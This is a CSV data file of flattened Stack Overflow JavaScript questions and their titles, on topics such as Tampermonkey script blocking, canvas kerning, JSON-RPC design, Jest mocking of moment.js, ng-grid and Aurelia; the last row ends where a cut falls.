text,title "JS : I 'm trying to write a script for Tampermonkey that prevents the execution of a specific inline script tag . The body of the page looks something like thisI tried to remove the script tag using my Tampermonkey script , but if I run it at document-start or document-body the script tag does not exist yet . If I run it at document-end or document-idle the script tag I 'd like to remove is run before my Tampermonkey script is executed.How can I prevent execution of the script tag ? Note : The actual script tag that I 'd like to prevent from executing contains window.location = 'redirect-url ' . So it would also be sufficient to prevent the reload in this case.Versions : Chromium 65.0.3325.181Tampermonkey 4.5 < body > < ! -- the following script tag should be executed -- > < script type= '' text/javascript '' > alert ( `` I 'm executed as normal '' ) < /script > < ! -- the following script tag should NOT be executed -- > < script type= '' text/javascript '' > alert ( `` I should not be executed '' ) < /script > < ! -- the following script tag should be executed -- > < script type= '' text/javascript '' > alert ( `` I 'm executed as normal , too '' ) < /script > < /body >",Prevent execution of a specific inline script tag JS : i want to break a paragraph into sentences in jquery.Lets say i have a paragraphi want to break it into is there any solution for that.i tried to use this function but it also separate sentence when a number came.Thanks This is a wordpress plugin . its older version was 2.3.4 and new version is 2.4 . But the version 2.4 had a lot of bungs . Can we solve it ? This is a wordpress plugin.its older version was 2.3.4 and new version is 2.4.But the version 2.4 had a lot of bungs.Can we solve it ? var result = str.match ( / [ ^\. ! \ ? ] + [ \. ! \ ? ] +/g ) ;,how to break a paragraph into sentences in jquery "JS : I 'm trying to create a decent cross-browser rendering engine of canvas text . I have noticed that kerning pairs do n't render properly in Chrome , but in Safari and Firefox they work fine . Chrome : Firefox : Safari : Try the fiddle here : http : //jsfiddle.net/o1n5014u/Code sample : Does anyone have any workaround ? I have looked for bug reports , but I ca n't find anything . var c = document.getElementById ( `` myCanvas '' ) ; var ctx = c.getContext ( `` 2d '' ) ; ctx.font = `` 40px Arial '' ; ctx.fillText ( `` VAVA Te '' , 10 , 50 ) ;",How to control the font kerning for Canvas fillText ( ) in Chrome ? "JS : I am working on a web application that will make extensive use of AJAX techniques for client/server communication ... JSON-RPC specifically . Zend Framework is being used server-side , and it offers a nice JSON-RPC server that I would like to use.My goal is to architect a maintainable system that exposes a large subset of server-side functionality to the client-side ( javascript ) , without unnecessary code duplication . I 've seen numerous blog posts and tutorials on how to use ZF 's JSON-RPC server ( see here and here ) , but they all seemed geared towards exposing a small , publicly consumable API . Code duplication is common , for example one blog post has the following method exposed : I do n't like the fact that there are two setTitle methods . If the method signature for one changes , the other has to be kept in sync ... seems like a maintainability nightmare if your API is extensive . It seems to me that there should be one Book class , with one setTitle method.My initial thought is add a docblock annotation @ export to methods/classes that I want exposed . When I decide to expose the setTitle method , I just add the annotation rather than a new method.One potential problem I see involves object persistence . Server-side , it makes sense for setTitle to set the object 's title property ... but not persist it in the database until update ( ) is called . Client-side , calling setTitle should immediately affect the database . One potential solution is to modify all accessors such that they take a optional second parameter signifying the modification should update the database immediately : Some sort of proxy class could ensure that the $ persist flag is set for all client-side RPC invocations.Another problem is the serialization of PHP objects . Server-side , it makes sense to do a OO-style $ book- > setTitle ( `` foo '' ) call , but client-side book.setTitle ( 1234 , `` foo '' ) makes sense ( where 1234 is the book 's ID ) due to the lack of state . My solution for this would be to have the aforementioned proxy class be responsible for somehow turning book.setTitle ( 1234 , `` foo '' ) into : I feel like this problem must have been tackled or discussed before ... but I 'm not finding many resources online . Does this seem like a sane solution ? public static function setTitle ( $ bookId , $ title ) { $ book = new Nickel_Model_Book ( $ bookId ) ; $ book- > setTitle ( $ title ) ; $ book- > update ( ) ; return true ; } function setTitle ( $ title , $ persist = false ) { $ this- > title = $ title ; if ( $ persist ) $ this- > update ( ) ; } $ book = new Book ( ) ; $ book- > load ( 1234 ) ; return $ book- > setTitle ( $ title ) ;",developing a maintainable RPC system "JS : I am trying to convert a callback function to async/await . The code uses postMessage from the main window frame to an iframe . When the iframe posts a message back , it calls the callback function . Is there any way to convert to Promise from the $ ( window ) .on ( ... ) pattern ? Minimal version of working code : To call the function : Bridge object : Thanks in advance . window.bridge.post ( cb ) ; class Bridge { constructor ( win , root ) { this.win = win ; this.root = root ; this.bindEvents ( ) ; this.post = this.factoryMethod ( 'post ' , 'postResult ' ) ; } post ( eventName , paramObject ) { this.win.postMessage ( [ eventName , JSON.stringify ( paramObject ) ] , this.root ) ; } bindEvents ( ) { window.addEventListener ( 'message ' , e = > this.handleEvents ( e ) ) ; } handleEvents ( e ) { const eventName = e.data [ 0 ] ; const eventObj = e.data [ 1 ] ; if ( typeof eventName ! == 'undefined ' & & eventName ! = null ) { $ ( window ) .trigger ( eventName , eventObj ) ; } } factoryMethod ( msgIn , msgOut ) { return ( cb ) = > { this.post ( msgIn , { } ) ; $ ( window ) .on ( msgOut , ( e , arg ) = > cb ( arg ) ) ; } ; } } export default Bridge ;",How to convert trigger/event into Promise or async/await ? "JS : I 'm a little new to jsdoc comments ( attempting to convert some vsdoc comments to jsdoc so I can make use of doc generators that support jsdoc ) , so stop me if I 'm doing something obviously incorrect , but I noticed that if you assign methods on a constructor 's prototype , intellisense works for that member : But , if you assign bar in the constructor , the intellisense on the bar method breaks - it just shows the entire comment , jsdoc tags and all , as a single block . It does n't display argument types or flow the return value through : The vsdoc intellisense parser is able to handle either methods on the prototype or methods assigned to this , but the jsdoc parser appears to be confused by methods assigned to this in a constructor . /** * @ constructor * @ this { Foo } */ function Foo ( ) { } /** * A bar of Foo for you . * @ param { string } baz A foo bar baz . * @ return { string } You get back what you give . */ Foo.prototype.bar = function ( baz ) { return baz ; } /** * @ constructor * @ this { Foo } * @ param { string } baz A foo bar baz . */ function Foo ( baz ) { /** * A bar of Foo and something else too . * @ param { string } barzipan A little something extra . * @ return { string } You get back what you gave , and then some . */ this.bar = function ( barzipan ) { return baz + barzipan ; } ; }",Visual studio web essentials JSDoc intellisense on methods assigned in constructor not working ? "JS : I have following ng-grid.This grid has text box to enter `` IssueQty '' . But when ever value is entered toIssued quantity , if it is greater than `` RequiredQuantity '' entire row should be Highlighted.Can anybody suggest a way to achieve this..Thanks and regards . $ scope.IssueGrid = { data : 'IssueGridList ' , multiSelect : false , selectedItems : $ scope.selectedRow , enableColumnResize : true , enableRowSelection : true , headerRowHeight : 65 , columnDefs : [ { field : 'Item ' , width : '25 % ' , displayName : 'Item Name ' } , { field : 'RequiredQuantity ' , displayName : 'Requested Qty ' , cellTemplate : ' < div style= '' text-align : right ; '' class= '' ngCellText '' > { { row.getProperty ( col.field ) } } < /div > ' } , { field : `` , width : ' 7 % ' , displayName : 'To be Issued ' , cellTemplate : ' < div class= '' ngCellText { { row.entity.cellClass } } '' > < input type= '' text '' id= '' issQty '' style= '' text-align : right ; '' data-ng-change= '' editIssueQty ( row ) '' data-ng-model= '' row.entity.IssueQty '' number-only-input input-value = `` row.entity.IssueQty '' class= '' form-control '' data-ng-disabled= '' issueQtyDisabled ( row.entity ) '' value = { { row.getProperty ( col.IssueQty ) } } / > < /div > ' } , ] , showFooter : true } ;",Angularjs ng-grid Highlight row dynamically "JS : Caveat : I 'm new to Jest so bear.I am attempting to test a Vue2.js filter using Jest called DateFilter . This filter simply applies a date format to a date passed to it.DateFilter.jsSo , I see three valid unit tests hereThe DateFilter module should export a functionThe date filter should initialize moment with the dateValue passedThe date filter should call the format method on moment with the dateFormat passedDateFilter.test.js import Vue from 'vue ' ; import moment from 'moment ' ; const dateFormatter = ( dateValue , dateFormat ) = > { return moment ( dateValue ) .format ( dateFormat ) ; } ; Vue.filter ( 'date ' , dateFormatter ) ; export default dateFormatter ; import moment from 'moment ' ; import DateFilter from './DateFilter ' ; describe ( 'DateFilter ' , ( ) = > { it ( 'should exist ' , ( ) = > { expect ( DateFilter ) .toBeDefined ( ) ; expect ( typeof DateFilter ) .toBe ( 'function ' ) ; } ) ; it ( 'should moment.format with the dateValue and dateFormat passed . ' , ( ) = > { // Here I get lost in how to spyOn moment function and the .format function const mockDateFormat = ` dateFormat- $ { Math.random ( ) } ` ; const mockDate = ` mockDate- $ { Math.random ( ) } ` ; jest.mock ( 'moment ' , ( ) = > { return { format : jest.fn ( ) } } ) ; // expect moment to have been called with mockDate // expect moment ( mockDate ) to have been called with mockDateFormat } ) ; } ) ;",Mocking es6 module returning factory function ( moment.js ) "JS : I have developed a point of sale system using MVC 4.The responsiveness and loading times on Windows and Mac is instant but on an iPad it takes 8-13 seconds to load a page or perform an action such as adding items to basket . To improve the speed of the web application I enabled compression in IIS and minified all my java script files I also used bundling to bundle the following .js files together which supposedly improves loading of pages as well : jquery-1.8.2.min.jsknockout-2.2.0.jsjquery.easing.1.3.jsb.popup.min.js ( used for displaying a modal popup only 6KB ) The other javascript files I use on pages are between 5KB and 15KB.After doing all this the application seems to be a few seconds quicker , but still takes unacceptably long ( 8-10 seconds ) .Has anyone experienced similar performance issues on an iPad and how did you resolve it ? Is there anything else I can do to improve performance ? I 'm using Windows Server 2003 and IIS 6.0Here 's my bundle registration code : And this is where I call it on the master page : public static void RegisterBundles ( BundleCollection bundles ) { bundles.Add ( new ScriptBundle ( `` ~/bundles/jquery '' ) .Include ( `` ~/Scripts/jquery-1.8.2.min.js '' , `` ~/Scripts/jquery.easing.1.3.js '' , `` ~/Scripts/knockout-2.2.0.js '' , `` ~/Scripts/common/common.min.js '' , `` ~/Scripts/popup.min.js '' ) ) ; bundles.Add ( new StyleBundle ( `` ~/Content/css '' ) .Include ( `` ~/Content/site.css '' ) ) ; BundleTable.EnableOptimizations = true ; } @ using System.Configuration < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' / > < meta name= '' viewport '' content= '' width=device-width '' / > < meta name= '' apple-mobile-web-app-capable '' content= '' yes '' > < title > Prestige SSC < /title > @ Scripts.Render ( `` ~/bundles/jquery '' ) @ RenderSection ( `` scripts '' , required : false ) @ Styles.Render ( `` ~/Content/css '' ) < script type= '' text/javascript '' > var screenRefreshTime = ' @ ConfigurationManager.AppSettings [ `` ScreenRefreshTime '' ] .ToString ( ) ' ; screenRefreshTime = parseInt ( screenRefreshTime ) ; < /script > < /head > < body > @ RenderBody ( ) < /body > < /html >",MVC 4 website very slow on iPad "JS : I really do not have a problem but , I have noticed that sometime the Draggable object has slow placeholders.I did this test : http : //jsfiddle.net/X3Vmc/Adding object of the list in the draggable is easy without problem , but when i try to move an element in the draggable object i see that someting the red placeholder is slow to move.I mean that sometime moving horizontally an element the placeholder keep more time to move ( to update its position ) . I have to move the mouse around the new position to update the position of the placeholder . I would like to have it more reactive . Is this possible ? EDIT : Take a look at the image . As you can see i was moving an element ( from fourth position ) between the first and the second position . As you can see the placeholder is far from there.EDIT 2 : I am using * Chromium 30.0.1599.114 Ubuntu 13.10 ( 30.0.1599.114-0ubuntu0.13.10.2 ) * $ ( function ( ) { $ ( `` # myproducts li '' ) .draggable ( { /*appendTo : `` body '' , */ helper : `` clone '' , connectToSortable : `` # mylist '' , tolerance : `` pointer '' } ) ; $ ( `` # mylist '' ) .sortable ( { placeholder : `` sortable-placeholder '' , over : function ( ) { console.log ( `` over '' ) ; } , out : function ( ) { console.log ( `` out '' ) ; } } ) ; } ) ;",Why does Draggable object have slow placeholder ? "JS : I am using app-contacts demo to learn Aurelia , yes I know , it 's incomplete as mentioned by @ Eisenberg , but then I thought to use EventAggregator to notify the app.js , when I save the contact or create a new contact . Till now everything works fine . I am able to receive the contact object in app.js , but now I would like to update the contact list , which is not working and when I save a contact and update the contacts list in app.js , it gets removed.Code added in app.js and subscribe method is called in constructor.No changes made to app.htmlHow to update the list ? UpdateThis worked for me , but not sure what is the right approach subscribe ( ) { this.ea.subscribe ( 'contact_event ' , payload = > { console.log ( payload ) ; var instance = JSON.parse ( JSON.stringify ( payload ) ) ; let found = this.contacts.filter ( x = > x.id == payload.id ) [ 0 ] ; if ( found ) { let index = this.contacts.indexOf ( found ) ; this.contacts [ index ] = instance ; } else { instance.id = this.contacts.length + 1 ; this.contacts.push ( instance ) ; } } ) ; } < li repeat.for= '' contact of contacts '' class= '' list-group-item $ { contact.id === $ parent.selectedId ? 'active ' : `` } '' > < a href= '' # '' click.delegate= '' $ parent.select ( contact ) '' > < h4 class= '' list-group-item-heading '' > $ { contact.firstName } $ { contact.lastName } < /h4 > < p class= '' list-group-item-text '' > $ { contact.email } < /p > < /a > < /li > subscribe ( ) { this.ea.subscribe ( 'contact_event ' , payload = > { return this.api.getContactList ( ) .then ( contacts = > { this.contacts = contacts ; } ) ; } ) ; }",Update list in Aurelia using EventAggregator "JS : Recently one of my friends asked me the output of following codeI thought the answer would be 10 10 but surprisingly for second call i.e . arguments [ 0 ] ( ) ; the value comes out to be 2 which is length of the arguments passed.In other words it seems arguments [ 0 ] ( ) ; has been converted into fn.call ( arguments ) ; .Why this behavior ? Is there a link/resource for such a behavior ? var length = 10 ; function fn ( ) { console.log ( this.length ) ; } var obj = { length : 5 , method : function ( fn ) { fn ( ) ; arguments [ 0 ] ( ) ; } } ; obj.method ( fn , 1 ) ;",Why this behavior for javascript code ? "JS : The code below logs false in Chrome V8 but logs true in Babel . The feedback from Google said that logging false is how it is supposed to be while logging true is a bug of Babel . I looked into the ES6 specs and still could n't understand the mechanism behind this . Any thoughts would be appreciated ! class NewObj extends Object { constructor ( ) { super ( ... arguments ) ; // In V8 , after arguments === [ { attr : true } ] // is passed as parameter to super ( ) , // this === NewObj { } in V8 ; // but this === NewObj { attr : true } in Babel . } } var o = new NewObj ( { attr : true } ) ; console.log ( o.attr === true ) ;",super ( ) does not pass arguments when instantiating a class extended from Object in Chrome V8 "JS : Sorting an array of 10 objects works fine , once the number of objects exceeds 10 , the sort fails in Chrome for Mac . Safari fails at any array size . ( Works fine in Firefox ) What is the correct way of sorting arrays of objects by javascript ? [ { `` tag '' : '' fujairah '' , '' count '' :1 } , { `` tag '' : '' worldwide '' , '' count '' :3 } , { `` tag '' : '' saudi '' , '' count '' :1 } , { `` tag '' : '' miami '' , '' count '' :1 } , { `` tag '' : '' rwo-dealer '' , '' count '' :7 } , { `` tag '' : '' new york '' , '' count '' :2 } , { `` tag '' : '' surabaya '' , '' count '' :1 } , { `` tag '' : '' phillippines '' , '' count '' :1 } , { `` tag '' : '' vietnam '' , '' count '' :1 } , { `` tag '' : '' norway '' , '' count '' :1 } , { `` tag '' : '' x '' , '' count '' :1 } ] .sort ( function ( a , b ) { return a.tag > b.tag } )",Sorting an array of more than 10 objects in Chrome "JS : Can anyone share best practices for troubleshooting google anlytics code ? Has anyone built a debugging tool ? Does google have a linter hidden somewhere ? Does anybody have a good triage logic diagram ? I 'll periodically set up different parts of GA and it seems like every time I do it takes 4 or 5 days to get it working.The workflow looks like this : For obvious reasons , I 'm not satisfied with this workflow and hoping someone has figured out something I have n't . Read the docs on the feature ( e.g . events , custom variables ) .Implement what appears to be the correct code based on the docs.Wait a day.See no data.Google every version of the problem I can imagine . Find what may be a solution.Change my code.Wait a day.See no data.Loop : Randomly move elements of the tracking code around . Wait a day . If other parts break , tell ceo , get yelled at , revert changes . If data appears , break.Pray it continues to work/I never have to change the tracking code again .",How do you troubleshot google analytics code ? "JS : Douglas Crockford seems to like the following inheritance approach : It looks OK to me , but how does it differ from John Resig 's simple inheritance approach ? Basically it goes down toversus And I am interested in theories . Implementation wise there does not seem to be much difference . if ( typeof Object.create ! == 'function ' ) { Object.create = function ( o ) { function F ( ) { } F.prototype = o ; return new F ( ) ; } ; } newObject = Object.create ( oldObject ) ; newObject = Object.create ( oldObject ) ; newObject = Object.extend ( ) ;",JavaScript inheritance JS : I am using bootstrap with dropdown . My anchor has a background color on hover . But when the dropdown is showing i want the parent containing the dropdown to lose the background color . My HTML is : My attempt at this : The CSS : What am I doing wrong that my code is not working ? < nav class= '' navbar navbar-default av-nav '' role= '' navigation '' > < div class= '' container '' > < div class= '' navbar-header '' > < button type= '' button '' class= '' navbar-toggle collapsed '' data-toggle= '' collapse '' data-target= '' # bs-example-navbar-collapse-1 '' > < span class= '' sr-only '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < span class= '' icon-bar '' > < /span > < /button > < /div > < div class= '' collapse navbar-collapse '' id= '' bs-example-navbar-collapse-1 '' > < ul class= '' nav navbar-nav nav nav-tabs '' > < li class= '' lia li1 '' > < a href= '' # '' > Home < /a > < /li > < li class= '' dropdown li2 '' > < a class= '' dropdown-toggle '' data-toggle= '' dropdown '' > About < /a > < span class= '' nav-arrow '' > < /span > < div class= '' dropdown-menu '' > < ul > < li > < a href= '' # '' > Drop 1 < /a > < /li > < li > < a href= '' # '' > Drop 2 < /a > < /li > < li > < a href= '' # '' > Drop 3 < /a > < /li > < /ul > < /div > < /li > < /ul > < /div > < ! -- /.navbar-collapse -- > < /div > < ! -- /.container -- > < /nav > $ ( document ) .ready ( function ( ) { var section = $ ( '.av-nav .nav li a : hover ' ) ; var width = section.width ( ) ; if ( width < 768 ) section.addClass ( 'nobg ' ) ; } ) ; .nobg { background : none ! important ; },jQuery add class on hover on certain width if bootstrap dropdown is showing "JS : Socket.io 's examples all follow this patternIt seems to me that this would create a new callback function for every connection . Assuming that every socket responds to the message in the same way , would n't it be more memory efficient to define the handler once for all sockets like this : or even this : If so , why would Socket.io recommend a practice that wastes memory ? Are we expected to want to keep stateful variables for the socket inside the `` connection '' callback 's closure ? io.sockets.on ( `` connection '' , function ( mySocket ) { mySocket.on ( `` my message '' , function ( myData ) { ... } ) ; } ) ; function myMessageHandler ( data ) { ... } io.sockets.on ( `` connection '' , function ( mySocket ) { mySocket.on ( `` my message '' , myMessageHandler ) ; } ) ; io.sockets.on ( `` my message '' , function ( mySocket , myData ) { ... } ) ;",Most efficient way to define Socket.io on ( `` message '' ) handlers "JS : In the code below , the pushElement method works just fine when dealing with the `` words '' variable , but as soon as I run the popElement method , it fails on the `` this.words.length '' piece with the following error : `` Uncaught TypeError : Can not read property 'length ' of undefined '' . Any ideas ? EDIT : The code above is perfect . It was in my actual implementation of how I was using the code above . I 'm using setInterval to call popElement ( ) which changes the scope of `` this '' . Read the full answer here : http : //forrst.com/posts/Javascript_Array_Member_Variable_is_Undefined_wi-g6V function AnimationStack ( ) { this.words = [ ] ; } AnimationStack.prototype.pushElement = function ( element ) { this.words.push ( element ) ; } AnimationStack.prototype.popElement = function ( ) { if ( this.words.length > 0 ) { var element = this.words.shift ( ) ; return element ; } else { return null ; } } var AS = new AnimationStack ( ) ; var element = $ ( `` < div > < /div > '' ) ; AS.pushElement ( element ) ; // works perfectAS.pushElement ( element ) ; // works perfectAS.pushElement ( element ) ; // works perfectvar pop = AS.popElement ( ) ; // always fails",Javascript Array Member Variable is Undefined with Prototype method "JS : I 'm trying to create a circular progressbar ( though it would n't be a bar anymore , would it ? ) . Around this cricle there are thin bars perpendicular to the circle . Now the problem is , my code does n't generate there bars in an even spacing . Here 's the code and an image of the result : EDIT : Oh , and also the lines are n't anti-aliased . Do you know why ? I should also explain that this progressbar consists of two parts . An outer circle ( visible in the provided image ) and an inner circle . The outer circle is the amount of the integer part of the percentage ( i.e . 45 in 45.98 % ) and the inner circle is the amount of the not integer part of the percentage ( i.e . 98 in 45.98 % ) . Hence you now know what intCircle and floatCircle are : ) function MH5PB ( canvasId , //the id of the canvas to draw the pb on value , //a float value , representing the progress ( ex : 0.3444 ) background , //the background color of the pb ( ex : `` # ffffff '' ) circleBackground , //the background color of the bars in the circles integerColor , //the color of the outer circle ( or the int circle ) floatColor //the color of the inner circle ( or the float circle ) ) { var canvas = document.getElementById ( canvasId ) ; var context = canvas.getContext ( `` 2d '' ) ; var canvasWidth = canvas.width ; var canvasHeight = canvas.height ; var radius = Math.min ( canvasWidth , canvasHeight ) / 2 ; var numberOfBars = 72 ; var barThickness = 2 ; //margin from the borders , and also the space between the two circles var margin = parseInt ( radius / 12.5 ) > = 2 ? parseInt ( radius / 12.5 ) : 2 ; //the thickness of the int circle and the float circle var circleThickness = parseInt ( ( radius / 5 ) * 2 ) ; //the outer radius of the int circle var intOuterRadius = radius - margin ; //the inner radius of the int circle var intInnerRadius = radius - margin - circleThickness ; //the outer radius of the float circle var floatOuterRadius = intOuterRadius - margin - circleThickness ; //the inner radius of the float circle var floatInnerRadius = floatOuterRadius - circleThickness ; //draw a bar , each degreeStep degrees var intCircleDegreeStep = 5 ; // ( ( 2 * Math.PI * intOuterRadius ) / ( barThickness + 10 ) ) // // this area is the total number of required bars // // to fill the intCircle.1px space between each bar// var floatCircleDegreeStep = 360 / ( ( 2 * Math.PI * floatOuterRadius ) / ( barThickness + 10 ) ) ; context.lineWidth = barThickness ; context.strokeStyle = circleBackground ; //draw the bg of the outer circle for ( i = 90 ; i < 450 ; i+=intCircleDegreeStep ) { //since we want to start from top , and move cw , we have to map the degree //in the loop cxOuter = Math.floor ( intOuterRadius * Math.cos ( i ) + radius ) ; cyOuter = Math.floor ( intOuterRadius * Math.sin ( i ) + radius ) ; cxInner = Math.floor ( intInnerRadius * Math.cos ( i ) + radius ) ; cyInner = Math.floor ( intInnerRadius * Math.sin ( i ) + radius ) ; context.moveTo ( cxOuter , cyOuter ) ; context.lineTo ( cxInner , cyInner ) ; context.stroke ( ) ; } }","creating a circle of bars with HTML5 canvas , but the space between bars is uneven" "JS : I 'm trying to clear an input when a user presses comma ( , ) . So what I did was , on ( keypress ) I would check the keyCode and if it 's a comma I would clear the input by setting the input value to input.value = `` .HTML : Code : < input type= '' text '' # elem ( keypress ) = '' clearInput ( $ event ) '' > @ ViewChild ( 'elem ' ) public element ; clearInput ( e : KeyboardEvent ) { if ( e.keyCode === 44 ) { this.element.nativeElement.value = `` ; } else { console.log ( 'Not a comma ' ) ; } }",How to clear an input value on some button press ? JS : I 'm building with Angular and have used a filter pipe to filter on the selected option from my dropdown on the *ngFor loop . The content then filters accordingly . I want to swap the select options to buttons or pills . So when a button is clicked the filter takes place - the button will act as a on/off switch so you can have more than one option filtered . Here is my stackblitz example - https : //stackblitz.com/edit/timeline-angular-7-tyle1fI 'm not sure how to get the buttons to work the same way as no filtering takes place ... . any help appreciated ! ? < div class= '' form-group row '' > < div class= '' col-sm '' > < select class= '' form-control '' name= '' locationFilter '' id= '' locationFilter '' [ ( ngModel ) ] = '' filteredLocation '' > < option value= '' All '' > All < /option > < option *ngFor= '' let entry of timeLine | filterUnique '' value= '' { { entry.location } } '' > { { entry.location } } < /option > < /select > < /div > //Button filters below < div ngDefaultControl [ ( ngModel ) ] = '' filteredLocation '' name= '' locationFilter '' id= '' locationFilter '' > < button class= '' btn btn-primary '' type= '' button '' *ngFor= '' let entry of timeLine | filterUnique '' > { { entry.location } } < /button > < /div > < /div >,Filter by pills/buttons instead of using a select - angular "JS : In any web browser executing the following script will result in 'wee ' being sent to the console . In Node it sends { } . I realize that in Node this refers to the exports object in this case . I do know about the global variable , and that is n't what I 'm trying to access . Besides , the script above does not set d on the global object either . Where the hell does it go ? I can access it explicitly by console.log ( d ) ; in the script above but it appears to be stashed away in some nonstandard space for no good reason at all.I also realize that removing the var will declare d on the global object , which is the expected behavior although it seems stupid to have var at the top level scope storing its values in a different place than `` naked '' variables . I mean , is n't the point of the module system supposed to be some sort of digital prophylactic to guard against global pollution ? Here it seems so easy to break the pattern and so difficult to do something standard.d is not declared on the module object either.I do n't have to justify why I 'm asking this question but I 'll answer the first troll to come along with a `` but why do you want to do taht hurr durrrr '' .In the same way that I can differentiate between certain object states of d , I should be able to differentiate the states of the top level scope . In a browser this is the window object , referred to by this in the top level scope . I should be able to asses the properties of the environment before and after script execution to determine a great many things , one of which would be inspection of functions and variables declared in the top scope of an arbitrary script that they may then be applied to the exports object . This would make it easy to programatically generate module wrappers for scripts which were not written as modules with a simple forEach applied to the list of top level functions and variables to assign whateverThisIs [ 'varFunc ' ] to module.exports [ 'varFunc ' ] ... and stuff ... This behavior appears to be like that of an anonymous function . In an anonymous function this could refer to the window object , vars would have to be called directly ( as they 're in the anon func 's scope ) and , leaked vars declared without the var keyword could end up at the window object . I have n't yet read the entire manual , maybe this is exactly what is going on but , I was under the impression that each module executed in it 's own context ( window ) and that Node passed messages between module contexts through the use of global and module.exports ... I do n't know . I want to know though . If you know , let me know . var d = 'wee ' ; console.log ( this.d ) ; var d = { } ; d.bleep = ' y ' ; var a = Object.keys ( d ) ; d.bloop = ' y ' ; d.blop = ' y ' ; var b = Object.keys ( d ) ; // c = b - a ; var c = b.filter ( function ( item ) { if ( a.indexOf ( item ) === -1 ) { return true ; } return false ; } ) ; console.log ( a , b , c ) ;",Where are vars stored in Nodejs ? "JS : I 'm trying to debug some pretty simple Javascript using console.log , but it 's outputting values for variables that are not changed until after the console.log call , when the variables are 'class ' members ( Chrome 22 , Firefox 16 ) .An example of what I expect to happen would be like this : But if the variable is a 'class ' member : If the console does not log the value as it exists when the log is called , when does it finally decide to log the value , and how can I work around this ! ? fwiw here is the entirety of the code : var a = 1 ; console.log ( a ) ; a += 20 ; //console output says a is 1 var a = new myClass ( 1 ) ; console.log ( a ) ; a.x += 20 ; //console output says a.x is 21 function myClass ( ) { myClass.myClass.apply ( this , arguments ) ; if ( this.constructor === myClass ) this.myClass.apply ( this , arguments ) ; } ; myClass.myClass = function ( ) { } ; myClass.prototype.myClass = function ( x_ ) { if ( x_ === undefined ) x_ = 0 ; this.x = x_ ; } var a = new myClass ( 1 ) ; console.log ( a ) ; a.x += 20 ;",When does console.log get executed ? JS : In Jquery or JavaScript have a function like .hasNext ( ) . I have the code : and parent div isAfter click last div need to do something . How can I do it ? function showArrowClick ( ) { var activeContact = $ ( '.contact.white_bg ' ) ; activeContact.removeClass ( 'white_bg ' ) ; activeContact.next ( ) .addClass ( 'white_bg ' ) ; } < div class= '' list '' > < div class= '' contact white_bg all_contacts '' > All < /div > < div class= '' contact '' > Contact1 < /div > < div class= '' contact '' > Contact2 < /div > < /div >,how to check div is last child from parent div "JS : In Puppeteer , page.evaluate throws an error if I pass a class as an argument.It works for regular objects though.Is there some workaround to make it work ? const puppeteer = require ( `` puppeteer '' ) ; ( async ( ) = > { let browser = await puppeteer.launch ( { headless : true } ) ; let page = await browser.newPage ( ) ; class SomeClass { constructor ( ) { this.a = 3 ; } } await page.evaluate ( ( SomeClass ) = > { let object = new SomeClass ( ) ; console.log ( object.a ) ; } , SomeClass ) ; } ) ( ) ;",Pass Class as an Argument to page.evaluate in Puppeteer "JS : I have a code snippet : $ watch fires initially . And this code snippet will output : Is it correct behavior ? Of course I could check values for for equality , but what reasons for such as behaviour ? P.S . You could try this sample online : http : //jsbin.com/otakaw/7/edit var app = angular.module ( 'Demo ' , [ ] ) ; app.controller ( 'DemoCtrl ' , function ( $ scope ) { function notify ( newValue , oldValue ) { console.log ( ' % s = > % s ' , oldValue , newValue ) ; } $ scope. $ watch ( 'collection.length ' , notify ) ; $ scope. $ watch ( 'my ' , notify ) ; $ scope.collection = [ ] ; $ scope.my = 'hello ' ; } ) ; 0 = > 0hello = > hello",AngularJS $ watch strange behavior during controller initialization "JS : My nuxt app is runing locallly without problems but when im trying to deploy the site to Netlify I got error like : `` Module not found : Error : Ca n't resolve '~/components/Navbar.vue ' in '/opt/build/repo/layouts ' '' I 'm getting the following error : Please help , thanks in advance . ERROR in ./layouts/default.vue ? vue & type=script & lang=js & ( ./node_modules/babel-loader/lib ? ? ref -- 2-0 ! ./node_modules/vue-loader/lib ? ? vue-loader-options ! ./layouts/default.vue ? vue & type=script & lang=js & ) 6:49:50 PM : Module not found : Error : Ca n't resolve '~/components/Navbar.vue ' in '/opt/build/repo/layouts ' 6:49:50 PM : @ ./layouts/default.vue ? vue & type=script & lang=js & ( ./node_modules/babel-loader/lib ? ? ref -- 2-0 ! ./node_modules/vue-loader/lib ? ? vue-loader-options ! ./layouts/default.vue ? vue & type=script & lang=js & ) 8:0-45 11:12-186:49:50 PM : @ ./layouts/default.vue ? vue & type=script & lang=js & 6:49:50 PM : @ ./layouts/default.vue6:49:50 PM : @ ./.nuxt/App.js6:49:50 PM : @ ./.nuxt/index.js6:49:50 PM : @ ./.nuxt/client.js6:49:50 PM : @ multi ./.nuxt/client.js",`` Module not found '' Error when deploying Nuxtjs app to Netlify JS : I want to have the class= '' children '' centered in the middle of the page container preferably using css only but if it is not possible you can provide the best js answer . Currently it is just a normal drop down but I want to use it as a mega menu . If I have to add another div structure that 's fine.I have seen some other examples but have attempted a few and none of them center it . I want to find a dynamic approach to where no matter the location of the link in the menu it always centers the menu in the container.EDIT : Fiddle found here http : //jsfiddle.net/YzJ4h/ < div class= '' main-navigation-wrapper '' > < div class= '' nav pull-left '' > < div class= '' menu-main-menu-container '' > < ul id= '' menu '' class= '' menu no-dropdown '' > < li class= '' menu-item '' > < a href= '' # '' > Blog < /a > < div class= '' children '' > -- - Children items are here < /div > < /li > < /ul > < /div > < /div > < /div >,Center drop down of main menu dynamically "JS : I am using angular material.When I create my own directive and add it to md-tab-label , likeThen the custom directive is applied to some `` md-dummy-tab '' also.But if I give mdtooltop to the md-tab-label , likethen there is no md-tooltip applied to `` md-dummy-tab '' classI tried searching inside the mdtooltip code , but couldnt get any clue.https : //github.com/angular/material/blob/master/src/components/tooltip/tooltip.jsHow can I do the same for my custom directive , ie custom directive should not apply to md dummy tab ? < md-tab-label > < custom-directive > Label < /cutom-directive > < /md-tab-label > < md-tab-label > Label < md-tooltip > Label < /md-tooltip > < /md-tab-label >",Why md tooltip is not applied to md dummy tab "JS : I 'm new to javascript and just learning AJAX calls and parsing JSON objects so I know I 'm just missing something obvious . I can retrieve the JSON string from my API but I can not parse it correctly.I 'm not sure if I 'm sending a JSON object that can not be parsed or just trying to read the fields in the wrong way.Thanks for taking the time to read this and your help is greatly appreciated I 'm just at a loss for where to go next.I can get the JSON string by this.responseText but when I try to access the field Title I only get undefiend . I 'm trying to access it this way : this.responseText.titleI 've also tried : this.responseText [ title ] and this.responseText [ `` title '' ] is what I get from the AJAX call and my attempt to get the title : I 'm expecting to see `` Drawtober 19 '' and all I get is 